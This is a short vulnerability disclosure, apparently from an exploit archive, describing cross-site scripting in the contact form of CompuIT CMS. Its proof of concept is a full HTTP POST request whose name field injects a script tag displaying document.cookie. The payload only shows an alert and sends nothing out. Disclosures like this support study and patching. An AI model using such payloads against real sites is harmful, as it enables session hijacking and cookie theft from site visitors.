CompuIT CMS - Cross Site Scripting Vulnerability

- Title : CompuIT CMS - Cross Site Scripting Vulnerability
- Author : ZwX                                                 
- Date : 01/12/2015                                                       
- Vendor : http://www.compuitgh.com                        
- Tested On : Windows 7  

===============================
* Description Vulnerability : *
===============================

A Cross Site Scripting vulnerability is located in the contact form on the CMS "CompuIT CMS".
An attacker run a little javascript attack from this form to retrieve login cookies.

======================
* Proof Of Concept : *
======================

 Host: http://localhost/
 User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:42.0) Gecko/20100101 Firefox/42.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
 Accept-Encoding: gzip, deflate
 Referer: http://localhost/index.php?opt=contents&Itemid=20
 Cookie: PHPSESSID=b903e962252e7e4844ffa278ab8b94df
 Connection: keep-alive
 Cache-Control: max-age=0
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 161
 
 Method POST:
 name='"/>></script><script>alert(document.cookie)</script>&phone=0000000000&[email protected]&comments=n&auth_image=cfchar&d=073&submit=Send



#  0day.today [2018-03-14]  #